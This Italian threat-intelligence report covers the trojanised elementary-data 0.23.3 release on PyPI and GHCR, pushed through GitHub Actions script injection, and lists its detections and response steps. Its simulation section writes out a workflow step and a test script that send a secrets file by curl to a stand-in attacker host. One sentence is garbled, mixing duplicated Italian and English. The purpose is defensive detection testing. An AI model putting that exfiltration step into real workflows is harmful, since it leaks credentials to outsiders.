Dati di Elementary compromessi su PyPI e GHCR tramite rilascio GitHub falsificato
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Una versione malevola del elementary-data pacchetto Python, versione 0.23.3, è stata caricata su PyPI, mentre un’immagine contenitore compromessa corrispondente è stata spinta anche su GitHub Container Registry. L’attaccante ha inserito codice malevolo in un flusso di lavoro Actions di GitHub, ha falsificato un rilascio firmato e poi ha abusato del token di workflow per pubblicare gli artefatti con backdoor. Il payload ha funzionato come un ladro di credenziali a tre fasi progettato per raccogliere segreti ed esfiltrarli verso un dominio controllato dall’attaccante. Qualsiasi ambiente che installasse il pacchetto interessato o tirasse l’ultima immagine contenitore era esposto a compromissioni.
Indagine
L’indagine ha scoperto che l’attacco è iniziato con un commento su una pull request aperta inserito direttamente in uno script di workflow, consentendo l’iniezione di script. Utilizzando il GITHUB_TOKENdel workflow, l’attaccante ha creato un commit di rilascio falsificato e ha attivato il processo di pubblicazione, che ha quindi distribuito la ruota trojanizzata e l’immagine Docker. L’analisi ha mostrato che un file .pth malevolo ha decodificato un wrapper Base64, decriptato il componente finale di raccolta e ha raccolto un ampio set di credenziali prima di inviarle a un dominio di comando e controllo personalizzato tramite curl.
Mitigazione
I manutentori del progetto hanno rimosso la versione malevola del pacchetto da PyPI e cancellato l’immagine compromessa da GHCR prima di pubblicare una sostituzione pulita, versione 0.23.4. StepSecurity ha aggiunto la versione malevola del pacchetto e il dominio controllato dall’attaccante alla lista nera di Harden-Runner e ha bloccato il pacchetto durante l’esecuzione della pull request. Gli sviluppatori dovrebbero fissare versioni esatte dei pacchetti e digest delle immagini, evitare di fare affidamento su tag variabili e controllare le dipendenze installate per .pth file inaspettati.
Risposta
I difensori dovrebbero cercare la presenza di elementary.pth all’interno di site-packages e identificare i sistemi che hanno tirato il digest dell’immagine Docker sospetta. Le connessioni in uscita al dominio di comando e controllo conosciuto dovrebbero essere bloccate immediatamente. I team di sicurezza dovrebbero scansionare le postazioni di lavoro degli sviluppatori e gli ambienti di costruzione per materiali segreti esposti, rimuovere eventuali pacchetti compromessi e ruotare le credenziali affette. Anche le pipeline CI/CD dovrebbero essere aggiornate per convalidare la provenienza del pacchetto e imporre delle immagini fissate rigorosamente.
Flusso di Attacco
Rilevamenti
Possibile Infiltrazione / Esfiltrazione di Dati / C2 tramite Servizi / Strumenti di Terze Parti (tramite proxy)
Visualizza
Possibile Infiltrazione / Esfiltrazione di Dati / C2 tramite Servizi / Strumenti di Terze Parti (tramite DNS)
Visualizza
Upload / Download Remoto di File tramite Strumenti Standard (tramite riga di comando)
Visualizza
IOC (HashSha1) per rilevare: elementary-data Compromesso su PyPI e GHCR: Rilascio Falsificato Spinto via Script Injection in GitHub Actions
Visualizza
Rilevamento di Esfiltrazione Malevola di Dati tramite Iniezione di Script in GitHub Actions [Linux Process Creation]
Visualizza
Rilevamento del Pacchetto Malevolo elementary-data con Ladro di Credenziali [Evento File Linux]
Visualizza
## Esecuzione della Simulazione
Pre-requisito: Il Controllo Preliminare di Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione riflettono direttamente le TTP identificate e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrazione dell’Attacco & Comandi:
Un attaccante ha compromesso un repository che utilizza GitHub Actions per CI/CD. Aggiungono uno step malevolo al file del flusso di lavoro:- name: Esfiltrare dati run: | bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"Quando il flusso di lavoro viene eseguito sul runner di GitHub Actions, l’albero di processo appare così:
sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"(processo padre)curl --data-binary @/tmp/secret_data http://malicious.example.com/loot(processo figlio)
The
auditdil record per il passaggio 2 contiene una riga di comando con bash e, soddisfacendo la condizione Sigma.and, soddisfacendo la condizione Sigma., satisfying the Sigma condition. -
Script di Test Regressione:
#!/usr/bin/env bash # # Simula lo step malevolo delle GitHub Actions che dovrebbe attivare la regola di rilevamento. # Crea un file temporaneo, scrive dati fittizi, poi esfiltra tramite curl avvolto in bash. set -euo pipefail # 1. Crea dati segreti fittizi tmpfile=$(mktemp /tmp/secret_data.XXXXXX) echo "informazione_sensibile_$(date +%s)" > "$tmpfile" # 2. Esegui l'esfiltrazione usando il pattern vulnerabile bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot" # 3. Output di conferma per il tester echo "Esfiltrazione malevola simulata; il file temporaneo $tmpfile dovrebbe essere eliminato dalla pulizia." -
Comandi di Pulizia:
#!/usr/bin/env bash # Rimuovi eventuali file temporanei creati durante la simulazione rm -f /tmp/secret_data.* # Opzionalmente, ferma eventuali processi curl residui (non dovrebbe essere necessario) pkill -f "curl --data-binary" || true